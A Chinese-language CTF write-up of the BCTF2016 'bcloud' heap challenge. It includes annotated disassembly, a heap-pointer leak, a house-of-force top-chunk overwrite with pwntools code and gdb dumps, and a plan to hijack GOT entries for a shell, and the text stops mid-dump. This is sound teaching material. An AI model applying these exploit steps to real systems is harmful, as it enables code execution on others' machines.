pwn BCTF2016 bcloud
题目复现
$ file bcloud
bcloud: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=96a3843007b1e982e7fa82fbd2e1f2cc598ee04e, stripped
$ checksec -f bcloud
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 4 bcloud
$ strings libc-2.19.so | grep "GNU C"
GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.7) stable release version 2.19, by Roland McGrath et al.
Compiled by GNU CC version 4.8.2.
32 位程序，开启了 Canary 和 NX，默认开启 ASLR。
在 Ubuntu-14.04 上玩一下：
$ ./bcloud
Input your name:
AAAA
Hey AAAA! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!
Now let's set synchronization options.
Org:
1234
Host:
4321
OKay! Enjoy:)
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
1
Input the length of the note content:
10
Input the content:
BBBB
Create success, the id is 0
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
2
WTF? Something strange happened.
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
3
Input the id:
0
Input the new content:
CCCC
Edit success.
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
4
Input the id:
0
Delete success.
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
5
Syncing...
Synchronization success.
典型的堆利用程序，实现了添加、修改、删除的功能，显示功能未实现。另外还有个同步，不知道做什么用。在打印菜单之前，程序读入 name 并打印了出来，这个很有意思，可能是为了信息泄漏故意设置的。
题目解析
init
在 main 函数打印菜单之前，有一个初始化函数 fcn.0804899c，这个函数又依次调用了函数 sub.memset_7a1 和函数 sub.memset_84e：
[0x08048590]> pdf @ sub.memset_7a1
/ (fcn) sub.memset_7a1 173
| sub.memset_7a1 ();
| ; var int local_60h @ ebp-0x60
| ; var int local_5ch @ ebp-0x5c
| ; var int local_ch @ ebp-0xc
| ; var int local_4h @ esp+0x4
| ; var int local_8h @ esp+0x8
| ; CALL XREF from 0x080489a2 (fcn.0804899c)
| 0x080487a1 push ebp
| 0x080487a2 mov ebp, esp
| 0x080487a4 sub esp, 0x78 ; 开辟栈空间
| 0x080487a7 mov eax, dword gs:[0x14] ; [0x14:4]=-1 ; 20
| 0x080487ad mov dword [local_ch], eax
| 0x080487b0 xor eax, eax
| 0x080487b2 lea eax, [local_5ch] ; eax = local_5ch
| 0x080487b5 add eax, 0x40 ; eax = local_5ch + 0x40
| 0x080487b8 mov dword [local_60h], eax ; [local_60h] = local_5ch + 0x40
| 0x080487bb mov dword [local_8h], 0x50 ; 'P' ; [0x50:4]=-1 ; 80
| 0x080487c3 mov dword [local_4h], 0
| 0x080487cb lea eax, [local_5ch]
| 0x080487ce mov dword [esp], eax
| 0x080487d1 call sym.imp.memset ; memset(local_5ch, 0, 0x50) 初始化内存
| 0x080487d6 mov dword [esp], str.Input_your_name: ; [0x8048e87:4]=0x75706e49 ; "Input your name:"
| 0x080487dd call sym.imp.puts ; int puts(const char *s)
| 0x080487e2 mov dword [local_8h], 0xa
| 0x080487ea mov dword [local_4h], 0x40 ; '@' ; [0x40:4]=-1 ; 64
| 0x080487f2 lea eax, [local_5ch]
| 0x080487f5 mov dword [esp], eax
| 0x080487f8 call sub.read_68d ; read_68d(local_5ch, 0x40, 0xa) 调用函数读入 0x40 个字节 到栈
| 0x080487fd mov dword [esp], 0x40 ; '@' ; [0x40:4]=-1 ; 64
| 0x08048804 call sym.imp.malloc ; malloc(0x40) 分配空间
| 0x08048809 mov edx, eax
| 0x0804880b mov eax, dword [local_60h] ; eax = local_5ch + 0x40
| 0x0804880e mov dword [eax], edx ; 将返回地址放到 [local_5ch + 0x40]，该地址位于栈上
| 0x08048810 mov eax, dword [local_60h]
| 0x08048813 mov eax, dword [eax]
| 0x08048815 mov dword [0x804b0cc], eax ; 将返回地址放到 [0x804b0cc]，该地址位于 .bss 段
| 0x0804881a mov eax, dword [local_60h]
| 0x0804881d mov eax, dword [eax]
| 0x0804881f lea edx, [local_5ch]
| 0x08048822 mov dword [local_4h], edx
| 0x08048826 mov dword [esp], eax ; [esp] 为返回地址
| 0x08048829 call sym.imp.strcpy ; strcpy([esp], local_5ch) 将读入的字符串复制到分配的空间上
| 0x0804882e mov eax, dword [local_60h]
| 0x08048831 mov eax, dword [eax]
| 0x08048833 mov dword [esp], eax
| 0x08048836 call sub.Hey__s__Welcome_to_BCTF_CLOUD_NOTE_MANAGE_SYSTEM_779 ; 调用函数打印出字符串
| 0x0804883b mov eax, dword [local_ch]
| 0x0804883e xor eax, dword gs:[0x14]
| ,=< 0x08048845 je 0x804884c
| | 0x08048847 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; JMP XREF from 0x08048845 (sub.memset_7a1)
| `-> 0x0804884c leave
\ 0x0804884d ret
所以该函数所读入的字符串是先放在栈上，然后复制到堆。最后调用一个函数打印出了堆上的字符串。
来看一下读入字符串的函数 sub.read_68d：
[0x08048590]> pdf @ sub.read_68d
/ (fcn) sub.read_68d 124
| sub.read_68d (int arg_8h, int arg_ch, int arg_10h);
| ; var int local_1ch @ ebp-0x1c
| ; var int local_dh @ ebp-0xd
| ; var int local_ch @ ebp-0xc
| ; arg int arg_8h @ ebp+0x8
| ; arg int arg_ch @ ebp+0xc
| ; arg int arg_10h @ ebp+0x10
| ; var int local_4h @ esp+0x4
| ; var int local_8h @ esp+0x8
| ; XREFS: CALL 0x080487f8 CALL 0x080488d4 CALL 0x080488fe CALL 0x08048737 CALL 0x08048a79 CALL 0x08048b4f
| 0x0804868d push ebp
| 0x0804868e mov ebp, esp
| 0x08048690 sub esp, 0x28 ; '('
| 0x08048693 mov eax, dword [arg_10h] ; 第三个参数
| 0x08048696 mov byte [local_1ch], al ; 通过后面的程序可知这里是换行符 "\x0a"
| 0x08048699 mov dword [local_ch], 0
| 0x080486a0 mov dword [local_ch], 0 ; 循环计数 i，初始化为 0
| ,=< 0x080486a7 jmp 0x80486f1
| | ; JMP XREF from 0x080486f7 (sub.read_68d)
| .--> 0x080486a9 mov dword [local_8h], 1
| :| 0x080486b1 lea eax, [local_dh]
| :| 0x080486b4 mov dword [local_4h], eax
| :| 0x080486b8 mov dword [esp], 0
| :| 0x080486bf call sym.imp.read ; read(0, [local_dh], 1) 读入一个字节
| :| 0x080486c4 test eax, eax
| ,===< 0x080486c6 jg 0x80486d4 ; 读入成功时跳转
| |:| 0x080486c8 mov dword [esp], 0xffffffff ; [0xffffffff:4]=-1 ; -1
| |:| 0x080486cf call sym.imp.exit ; exit(-1) 否则退出
| |:| ; JMP XREF from 0x080486c6 (sub.read_68d)
| `---> 0x080486d4 movzx eax, byte [local_dh]
| :| 0x080486d8 cmp al, byte [local_1ch] ; 将读入字节与换行符比较
| ,===< 0x080486db jne 0x80486df ; 不相等时跳转
| ,====< 0x080486dd jmp 0x80486f9 ; 否则退出循环
| ||:| ; JMP XREF from 0x080486db (sub.read_68d)
| |`---> 0x080486df mov edx, dword [local_ch] ; 取出 i
| | :| 0x080486e2 mov eax, dword [arg_8h] ; 第一个参数，即 buf 的位置
| | :| 0x080486e5 add edx, eax ; buf[i]
| | :| 0x080486e7 movzx eax, byte [local_dh]
| | :| 0x080486eb mov byte [edx], al ; 将读入字节放到 buf[i]
| | :| 0x080486ed add dword [local_ch], 1 ; i = i + 1
| | :| ; JMP XREF from 0x080486a7 (sub.read_68d)
| | :`-> 0x080486f1 mov eax, dword [local_ch]
| | : 0x080486f4 cmp eax, dword [arg_ch] ; i 与第二个参数比较
| | `==< 0x080486f7 jl 0x80486a9 ; 小于时循环继续
| | ; JMP XREF from 0x080486dd (sub.read_68d)
| `----> 0x080486f9 mov edx, dword [local_ch]
| 0x080486fc mov eax, dword [arg_8h] ; 取出 buf 的位置
| 0x080486ff add eax, edx ; buf[i]
| 0x08048701 mov byte [eax], 0 ; 将 "\x00" 放到 buf[i]
| 0x08048704 mov eax, dword [local_ch] ; 返回 i
| 0x08048707 leave
\ 0x08048708 ret
乍看之下似乎没有问题，在读入字符串末尾也加上了截断 “\x00”。
但是，注意观察读入字符串和 malloc 返回地址在栈上的位置关系。字符串其实地址 local_5ch，最多 0x40 个字节，返回地址位于 local_5ch + 0x40，所以如果我们正好读入 0x40 字节，则 “\x00” 会被放到 local_5ch + 0x41 的位置，然后正好被返回地址给覆盖掉了。由于函数 strcpy() 是以 “\x00” 来决定字符串结尾的，所以字符串连上返回地址会被一起复制到堆上。然后又被一起打印出来。于是我们就得到了堆地址。
继续看函数 sub.memset_84e：
[0x08048590]> pdf @ sub.memset_84e
/ (fcn) sub.memset_84e 334
| sub.memset_84e ();
| ; var int local_a8h @ ebp-0xa8
| ; var int local_a4h @ ebp-0xa4
| ; var int local_a0h @ ebp-0xa0
| ; var int local_9ch @ ebp-0x9c
| ; var int local_ch @ ebp-0xc
| ; var int local_4h @ esp+0x4
| ; var int local_8h @ esp+0x8
| ; CALL XREF from 0x080489a7 (fcn.0804899c)
| 0x0804884e push ebp
| 0x0804884f mov ebp, esp
| 0x08048851 sub esp, 0xb8 ; 开辟栈空间
| 0x08048857 mov eax, dword gs:[0x14] ; [0x14:4]=-1 ; 20
| 0x0804885d mov dword [local_ch], eax
| 0x08048860 xor eax, eax
| 0x08048862 lea eax, [local_9ch] ; eax = local_9ch
| 0x08048868 add eax, 0x40 ; eax = local_9ch + 0x40
| 0x0804886b mov dword [local_a8h], eax ; [local_a8h] = local_9ch + 0x40
| 0x08048871 lea eax, [local_9ch] ; eax = local_9ch
| 0x08048877 add eax, 0x44 ; eax = local_9ch + 0x44
| 0x0804887a mov dword [local_a4h], eax ; [local_a4h] = local_9ch + 0x44
| 0x08048880 lea eax, [local_9ch] ; eax = local_9ch
| 0x08048886 add eax, 0x88 ; eax = local_9ch + 0x88
| 0x0804888b mov dword [local_a0h], eax ; [local_a0h] = local_9ch + 0x88
| 0x08048891 mov dword [local_8h], 0x90 ; [0x90:4]=-1 ; 144
| 0x08048899 mov dword [local_4h], 0
| 0x080488a1 lea eax, [local_9ch]
| 0x080488a7 mov dword [esp], eax
| 0x080488aa call sym.imp.memset ; memset(local_9ch, 0, 0x90) 初始化内存
| 0x080488af mov dword [esp], str.Org: ; [0x8048e98:4]=0x3a67724f ; "Org:"
| 0x080488b6 call sym.imp.puts ; int puts(const char *s)
| 0x080488bb mov dword [local_8h], 0xa
| 0x080488c3 mov dword [local_4h], 0x40 ; '@' ; [0x40:4]=-1 ; 64
| 0x080488cb lea eax, [local_9ch]
| 0x080488d1 mov dword [esp], eax
| 0x080488d4 call sub.read_68d ; read_68d(local_9ch, 0x40, 0xa) 调用函数读入 Org 到栈
| 0x080488d9 mov dword [esp], str.Host: ; [0x8048e9d:4]=0x74736f48 ; "Host:"
| 0x080488e0 call sym.imp.puts ; int puts(const char *s)
| 0x080488e5 mov dword [local_8h], 0xa
| 0x080488ed mov dword [local_4h], 0x40 ; '@' ; [0x40:4]=-1 ; 64
| 0x080488f5 mov eax, dword [local_a4h]
| 0x080488fb mov dword [esp], eax
| 0x080488fe call sub.read_68d ; read_68d(local_9ch + 0x44, 0x40, 0xa) 调用函数读入 Host 到栈
| 0x08048903 mov dword [esp], 0x40 ; '@' ; [0x40:4]=-1 ; 64
| 0x0804890a call sym.imp.malloc ; addr1 = malloc(0x40) 分配空间
| 0x0804890f mov edx, eax
| 0x08048911 mov eax, dword [local_a0h] ; eax = local_9ch + 0x88
| 0x08048917 mov dword [eax], edx ; 将返回地址 addr1 放到 [local_9ch + 0x88]
| 0x08048919 mov dword [esp], 0x40 ; '@' ; [0x40:4]=-1 ; 64
| 0x08048920 call sym.imp.malloc ; addr2 = malloc(0x40) 分配空间
| 0x08048925 mov edx, eax
| 0x08048927 mov eax, dword [local_a8h] ; eax = local_9ch + 0x40
| 0x0804892d mov dword [eax], edx ; 将返回地址 addr2 放到 [local_9ch + 0x40]
| 0x0804892f mov eax, dword [local_a8h]
| 0x08048935 mov eax, dword [eax]
| 0x08048937 mov dword [0x804b0c8], eax ; 将返回地址 addr2 放到 [0x804b0c8]
| 0x0804893c mov eax, dword [local_a0h]
| 0x08048942 mov eax, dword [eax]
| 0x08048944 mov dword [0x804b148], eax ; 将返回地址 addr1 放到 [0x804b148]
| 0x08048949 mov eax, dword [local_a0h]
| 0x0804894f mov eax, dword [eax]
| 0x08048951 mov edx, dword [local_a4h]
| 0x08048957 mov dword [local_4h], edx
| 0x0804895b mov dword [esp], eax
| 0x0804895e call sym.imp.strcpy ; strcpy(addr1, local_9ch + 0x44) 复制 Host 到 addr1
| 0x08048963 mov eax, dword [local_a8h]
| 0x08048969 mov eax, dword [eax]
| 0x0804896b lea edx, [local_9ch]
| 0x08048971 mov dword [local_4h], edx
| 0x08048975 mov dword [esp], eax
| 0x08048978 call sym.imp.strcpy ; strcpy(addr2, local_9ch) 复制 Org 到 addr2
| 0x0804897d mov dword [esp], str.OKay__Enjoy: ; [0x8048ea3:4]=0x79614b4f ; "OKay! Enjoy:)"
| 0x08048984 call sym.imp.puts ; int puts(const char *s)
| 0x08048989 mov eax, dword [local_ch]
| 0x0804898c xor eax, dword gs:[0x14]
| ,=< 0x08048993 je 0x804899a
| | 0x08048995 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; JMP XREF from 0x08048993 (sub.memset_84e)
| `-> 0x0804899a leave
\ 0x0804899b ret
同样的，Host 的返回地址放在 local_9ch + 0x88 的位置，而字符串最多到 local_9ch + 0x44 + 0x40，中间还间隔了 0x4 字节，所以不存在漏洞。但是 Org 的返回地址放在 local_9ch + 0x40，正好位于字符串的后面，所以存在漏洞。同时 Host 的字符串又正好位于 Org 返回地址的后面，所以 strcpy 会将 Org 字符串，返回地址和 Host 字符串全都复制到 Org 的堆上，造成堆溢出。利用这个堆溢出我们可以修改 top chunk 的 size，即 house-of-force。
当然这种漏洞有一定的几率不会成功，比如返回地址的低位本来就是 “\x00” 的时候，就恰好截断了。
New note
[0x08048590]> pdf @ sub.Input_the_length_of_the_note_content:_9ae
/ (fcn) sub.Input_the_length_of_the_note_content:_9ae 244
| sub.Input_the_length_of_the_note_content:_9ae (int arg_9h, int arg_ah);
| ; var int local_10h @ ebp-0x10
| ; var int local_ch @ ebp-0xc
| ; arg int arg_9h @ ebp+0x9
| ; arg int arg_ah @ ebp+0xa
| ; CALL XREF from 0x08048d11 (main + 144)
| 0x080489ae push ebp
| 0x080489af mov ebp, esp
| 0x080489b1 sub esp, 0x28 ; '('
| 0x080489b4 mov dword [local_ch], 0
| 0x080489bb mov dword [local_10h], 0
| 0x080489c2 mov dword [local_10h], 0 ; 循环计数 i，初始化为 0
| ,=< 0x080489c9 jmp 0x80489df
| | ; JMP XREF from 0x080489e3 (sub.Input_the_length_of_the_note_content:_9ae)
| .--> 0x080489cb mov eax, dword [local_10h]
| :| 0x080489ce mov eax, dword [eax*4 + 0x804b120] ; 取出 notes[i]
| :| 0x080489d5 test eax, eax
| ,===< 0x080489d7 jne 0x80489db ; 当 notes[i] 不为 0 时继续循环
| ,====< 0x080489d9 jmp 0x80489e5 ; 否则跳出循环
| ||:| ; JMP XREF from 0x080489d7 (sub.Input_the_length_of_the_note_content:_9ae)
| |`---> 0x080489db add dword [local_10h], 1 ; i = i + 1
| | :| ; JMP XREF from 0x080489c9 (sub.Input_the_length_of_the_note_content:_9ae)
| | :`-> 0x080489df cmp dword [local_10h], 9 ; 最多有 10 个 note
| | `==< 0x080489e3 jle 0x80489cb ; i <= 9 时循环继续
| | ; JMP XREF from 0x080489d9 (sub.Input_the_length_of_the_note_content:_9ae)
| `----> 0x080489e5 cmp dword [local_10h], 0xa ; [0xa:4]=-1 ; 10
| ,=< 0x080489e9 jne 0x80489fc ; i 不等于 10 时跳转
| | 0x080489eb mov dword [esp], str.Lack_of_space._Upgrade_your_account_with_just__100_:
| | 0x080489f2 call sym.imp.puts ; int puts(const char *s)
| ,==< 0x080489f7 jmp 0x8048aa0 ; 否则函数返回
| || ; JMP XREF from 0x080489e9 (sub.Input_the_length_of_the_note_content:_9ae)
| |`-> 0x080489fc mov dword [esp], str.Input_the_length_of_the_note_content: ; [0x8048eec:4]=0x75706e49
| | 0x08048a03 call sym.imp.puts ; int puts(const char *s)
| | 0x08048a08 call sub.atoi_709 ; 调用函数读入 length
| | 0x08048a0d mov dword [local_ch], eax ; 将 length 放到 [local_ch]
| | 0x08048a10 mov eax, dword [local_ch]
| | 0x08048a13 add eax, 4 ; length = length + 4
| | 0x08048a16 mov dword [esp], eax
| | 0x08048a19 call sym.imp.malloc ; malloc(length + 4) 为 note 分配空间
| | 0x08048a1e mov edx, eax
| | 0x08048a20 mov eax, dword [local_10h] ; eax = i
| | 0x08048a23 mov dword [eax*4 + 0x804b120], edx ; 将 note 地址放到 notes[i]
| | 0x08048a2a mov eax, dword [local_10h]
| | 0x08048a2d mov eax, dword [eax*4 + 0x804b120] ; 取出 notes[i]
| | 0x08048a34 test eax, eax
| |,=< 0x08048a36 jne 0x8048a44 ; notes[i] 不为 0 时跳转
| || 0x08048a38 mov dword [esp], 0xffffffff ; [0xffffffff:4]=-1 ; -1
| || 0x08048a3f call sym.imp.exit ; exit(-1) 否则退出程序
| || ; JMP XREF from 0x08048a36 (sub.Input_the_length_of_the_note_content:_9ae)
| |`-> 0x08048a44 mov eax, dword [local_10h]
| | 0x08048a47 mov edx, dword [local_ch]
| | 0x08048a4a mov dword [eax*4 + 0x804b0a0], edx ; lengths[i] = length
| | 0x08048a51 mov dword [esp], str.Input_the_content: ; [0x8048f12:4]=0x75706e49 ; "Input the content:"
| | 0x08048a58 call sym.imp.puts ; int puts(const char *s)
| | 0x08048a5d mov eax, dword [local_10h]
| | 0x08048a60 mov eax, dword [eax*4 + 0x804b120] ; [0x804b120:4]=0
| | 0x08048a67 mov dword [esp + 8], 0xa
| | 0x08048a6f mov edx, dword [local_ch]
| | 0x08048a72 mov dword [esp + 4], edx ; [esp + 4] = length
| | 0x08048a76 mov dword [esp], eax ; [esp] = notes[i]
| | 0x08048a79 call sub.read_68d ; read_68d(notes[i], length, 0xa) 调用函数读入 content
| | 0x08048a7e mov eax, dword [local_10h]
| | 0x08048a81 mov dword [esp + 4], eax
| | 0x08048a85 mov dword [esp], str.Create_success__the_id_is__d ; [0x8048f25:4]=0x61657243 ; "Create success, the id is %d\n"
| | 0x08048a8c call sym.imp.printf ; int printf(const char *format)
| | 0x08048a91 mov eax, dword [local_10h]
| | 0x08048a94 mov dword [eax*4 + 0x804b0e0], 0 ; syns[i] = 0
| | 0x08048a9f nop
| | ; JMP XREF from 0x080489f7 (sub.Input_the_length_of_the_note_content:_9ae)
| `--> 0x08048aa0 leave
\ 0x08048aa1 ret
我们可以得到下面的数据结构：
int *lengths[10]; // 0x804b0a0
int *syns[10]; // 0x804b0e0
int *notes[10]; // 0x804b120
三个数组都是通过指标 i 来对应的，分别存放 note 地址，length 及是否同步。
Edit note
[0x08048590]> pdf @ sub.Input_the_id:_ab7
/ (fcn) sub.Input_the_id:_ab7 172
| sub.Input_the_id:_ab7 (int arg_9h);
| ; var int local_14h @ ebp-0x14
| ; var int local_10h @ ebp-0x10
| ; var int local_ch @ ebp-0xc
| ; var int local_0h @ ebp-0x0
| ; arg int arg_9h @ ebp+0x9
| ; CALL XREF from 0x08048d1f (main + 158)
| 0x08048ab7 push ebp
| 0x08048ab8 mov ebp, esp
| 0x08048aba sub esp, 0x28 ; '('
| 0x08048abd mov dword [local_14h], 0
| 0x08048ac4 mov dword [esp], str.Input_the_id: ; [0x8048f65:4]=0x75706e49 ; "Input the id:"
| 0x08048acb call sym.imp.puts ; int puts(const char *s)
| 0x08048ad0 call sub.atoi_709 ; int atoi(const char *str)
| 0x08048ad5 mov dword [local_14h], eax ; 读入 i
| 0x08048ad8 cmp dword [local_14h], 0
| ,=< 0x08048adc js 0x8048ae4
| | 0x08048ade cmp dword [local_14h], 9 ; [0x9:4]=-1 ; 9
| ,==< 0x08048ae2 jle 0x8048af2
| || ; JMP XREF from 0x08048adc (sub.Input_the_id:_ab7)
| |`-> 0x08048ae4 mov dword [esp], str.Invalid_ID. ; [0x8048f73:4]=0x61766e49 ; "Invalid ID."
| | 0x08048aeb call sym.imp.puts ; int puts(const char *s)
| |,=< 0x08048af0 jmp 0x8048b61
| || ; JMP XREF from 0x08048ae2 (sub.Input_the_id:_ab7)
| || ; JMP XREF from 0x08048b00 (sub.Input_the_id:_ab7)
| `--> 0x08048af2 mov eax, dword [local_14h] ; 0 <= i <= 9 时，继续
| | 0x08048af5 mov eax, dword [eax*4 + 0x804b120] ; 取出 notes[i]
| | 0x08048afc mov dword [local_10h], eax ; 将 notes[i] 放到 [local_10h]
| | 0x08048aff cmp dword [local_10h], 0
| ,==< 0x08048b03 jne 0x8048b13 ; notes[i] 不为 0 时跳转
| || 0x08048b05 mov dword [esp], str.Note_has_been_deleted. ; [0x8048f7f:4]=0x65746f4e ; "Note has been deleted."
| || 0x08048b0c call sym.imp.puts ; int puts(const char *s)
| ,===< 0x08048b11 jmp 0x8048b61
| |`--> 0x08048b13 mov eax, dword [local_14h]
| | | 0x08048b16 mov eax, dword [eax*4 + 0x804b0a0] ; 取出 lengths[i]
| | | 0x08048b1d mov dword [local_ch], eax ; 将 lengths[i] 放到 [local_ch]
| | | 0x08048b20 mov eax, dword [local_14h]
| | | 0x08048b23 mov dword [eax*4 + 0x804b0e0], 0 ; 将 syns[i] 赋值为 0
| | | 0x08048b2e mov dword [esp], str.Input_the_new_content: ; [0x8048f96:4]=0x75706e49 ; "Input the new content:"
| | | 0x08048b35 call sym.imp.puts ; int puts(const char *s)
| | | 0x08048b3a mov dword [esp + 8], 0xa
| | | 0x08048b42 mov eax, dword [local_ch]
| | | 0x08048b45 mov dword [esp + 4], eax
| | | 0x08048b49 mov eax, dword [local_10h]
| | | 0x08048b4c mov dword [esp], eax
| | | 0x08048b4f call sub.read_68d ; read_68d(notes[i], lengths[i], 0xa) 读入新 content 到原位置，长度不变
| | | 0x08048b54 mov dword [esp], str.Edit_success. ; [0x8048fad:4]=0x74696445 ; "Edit success."
| | | 0x08048b5b call sym.imp.puts ; int puts(const char *s)
| | | 0x08048b60 nop
| | | ; JMP XREF from 0x08048af0 (sub.Input_the_id:_ab7)
| | | ; JMP XREF from 0x08048b11 (sub.Input_the_id:_ab7)
| `-`-> 0x08048b61 leave
\ 0x08048b62 ret
该函数在修改 note 时，先将 syns[i] 清空，然后读入 lengths[i] 长度的内容到 notes[i]。
Delete note
[0x08048590]> pdf @ sub.Input_the_id:_b63
/ (fcn) sub.Input_the_id:_b63 146
| sub.Input_the_id:_b63 (int arg_9h);
| ; var int local_10h @ ebp-0x10
| ; var int local_ch @ ebp-0xc
| ; var int local_0h @ ebp-0x0
| ; arg int arg_9h @ ebp+0x9
| ; CALL XREF from 0x08048d26 (main + 165)
| 0x08048b63 push ebp
| 0x08048b64 mov ebp, esp
| 0x08048b66 sub esp, 0x28 ; '('
| 0x08048b69 mov dword [local_10h], 0
| 0x08048b70 mov dword [esp], str.Input_the_id: ; [0x8048f65:4]=0x75706e49 ; "Input the id:"
| 0x08048b77 call sym.imp.puts ; int puts(const char *s)
| 0x08048b7c call sub.atoi_709 ; int atoi(const char *str)
| 0x08048b81 mov dword [local_10h], eax
| 0x08048b84 cmp dword [local_10h], 0
| ,=< 0x08048b88 js 0x8048b90
| | 0x08048b8a cmp dword [local_10h], 9 ; [0x9:4]=-1 ; 9
| ,==< 0x08048b8e jle 0x8048b9e
| || ; JMP XREF from 0x08048b88 (sub.Input_the_id:_b63)
| |`-> 0x08048b90 mov dword [esp], str.Invalid_ID. ; [0x8048f73:4]=0x61766e49 ; "Invalid ID."
| | 0x08048b97 call sym.imp.puts ; int puts(const char *s)
| |,=< 0x08048b9c jmp 0x8048bf3
| || ; JMP XREF from 0x08048b8e (sub.Input_the_id:_b63)
| `--> 0x08048b9e mov eax, dword [local_10h] ; 0 <= i <= 9 时，继续
| | 0x08048ba1 mov eax, dword [eax*4 + 0x804b120] ; 取出 notes[i]
| | 0x08048ba8 mov dword [local_ch], eax ; 将 notes[i] 放到 [local_ch]
| | 0x08048bab cmp dword [local_ch], 0
| ,==< 0x08048baf jne 0x8048bbf ; notes[i] 不为 0 时跳转
| || 0x08048bb1 mov dword [esp], str.Note_has_been_deleted. ; [0x8048f7f:4]=0x65746f4e ; "Note has been deleted."
| || 0x08048bb8 call sym.imp.puts ; int puts(const char *s)
| ,===< 0x08048bbd jmp 0x8048bf3
| ||| ; JMP XREF from 0x08048baf (sub.Input_the_id:_b63)
| |`--> 0x08048bbf mov eax, dword [local_10h]
| | | 0x08048bc2 mov dword [eax*4 + 0x804b120], 0 ; 将 notes[i] 置 0
| | | 0x08048bcd mov eax, dword [local_10h]
| | | 0x08048bd0 mov dword [eax*4 + 0x804b0a0], 0 ; 将 lengths[i] 置 0
| | | 0x08048bdb mov eax, dword [local_ch]
| | | 0x08048bde mov dword [esp], eax
| | | 0x08048be1 call sym.imp.free ; free([local_ch])，释放 note
| | | 0x08048be6 mov dword [esp], str.Delete_success. ; [0x8048fbb:4]=0x656c6544 ; "Delete success."
| | | 0x08048bed call sym.imp.puts ; int puts(const char *s)
| | | 0x08048bf2 nop
| | | ; JMP XREF from 0x08048b9c (sub.Input_the_id:_b63)
| | | ; JMP XREF from 0x08048bbd (sub.Input_the_id:_b63)
| `-`-> 0x08048bf3 leave
\ 0x08048bf4 ret
该函数首先判断 notes[i] 是否存在，如果存在则释放 notes[i] 并将 notes[i] 和 lengths[i] 都置 0。不存在悬指针等漏洞。
至于 Syn 功能，就是将 syns[i] 都置 1，对漏洞利用没有影响。
漏洞利用
所以这题的利用思路就是 house-of-force，步骤如下：
- 泄漏 heap 地址
- 利用溢出修改 top chunk 的 size
- 分配一个 chunk，将 top chunk 转移到 lengths 数组前面
- 再次分配 chunk，即可覆盖 notes，并利用 Edit 修改其内容
- 修改
free@got.plt为puts@got.plt，泄漏 libc - 修改
atoi@got.plt为system@got.plt，得到 shell
leak heap
def leak_heap():
global leak
io.sendafter("name:\n", "A" * 0x40)
leak = u32(io.recvuntil('! Welcome', drop=True)[-4:])
log.info("leak heap address: 0x%x" % leak)
gdb-peda$ x/17wx 0xffffb834
0xffffb834: 0x41414141 0x41414141 0x41414141 0x41414141 <-- stack
0xffffb844: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffb854: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffb864: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffb874: 0x0804c008 <-- pointer
gdb-peda$ x/19wx 0x0804c008-0x8
0x804c000: 0x00000000 0x00000049 0x41414141 0x41414141 <-- heap
0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c030: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c040: 0x41414141 0x41414141 0x0804c008 <-- pointer
可以看到对指针被复制到了堆中，只要将其打印出来即可。
house-of-force
def house_of_force():
io.sendafter("Org:\n", "A" * 0x40)
io.sendlineafter("Host:\n", p32(0xffffffff)) # overflow
new((bss_addr - 0x8) - (leak + 0xd0) - 0x8 - 4, 'AAAA') # 0xd0 = top chunk - leak
payload = "A" * 0x80
payload += p32(elf.got['free']) # notes[0]
payload += p32(elf.got['atoi']) * 2 # notes[1], notes[2]
new(0x8c, payload)
接下来是 house-of-force，通过溢出修改 top chunk 的 size，可以在下次 malloc 时将 top chunk 转移到任意地址，之后的 chunk 也将依据转移后的 top chunk 来分配。
溢出：
gdb-peda$ x/22wx 0x804c098-0x8
0x804c090: 0x00000000 0x00000049 0x41414141 0x41414141
0x804c0a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c0b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c0c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c0d0: 0x41414141 0x41414141 0x0804c098 0xffffffff <-- top chunk size
0x804c0e0: 0x00000000 0x00000000
转移 top chunk：
gdb-peda$ x/22wx 0x804c098-0x8
0x804c090: 0x00000000 0x00000049 0x41414141 0x41414141
0x804c0a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c0b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c0c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c0d0: 0x41414141 0x41414141 0x0804c098 0xffffefc1 <-- notes[0] chunk
0x804c0e0: 0x00000000 0x00000000
gdb-peda$ p 0x804c0d8 + 0xffffefc0
$1 = 0x804b098
gdb-peda$ x/40wx 0x804b098
0x804b098: 0x00000000 0x00001039 0xffffefb4 0x00000000 <-- top chunk
0x804b0a8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0b8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0c8: 0x0804c098 0x0804c008 0x00000000 0x00000000
0x804b0d8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0e8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0f8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b108: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b118: 0x00000000 0x00000000 0x0804c0e0 0x00000000 <-- notes[0]
0x804b128: 0x00000000 0x00000000 0x00000000 0x00000000
再次 malloc，将其后的 .bss 段变为可写，然后放上 GOT 表指针：
gdb-peda$ x/40wx 0x0804b0a0-0x8
0x804b098: 0x00000000 0x00000099 0x41414141 0x41414141 <-- chunk
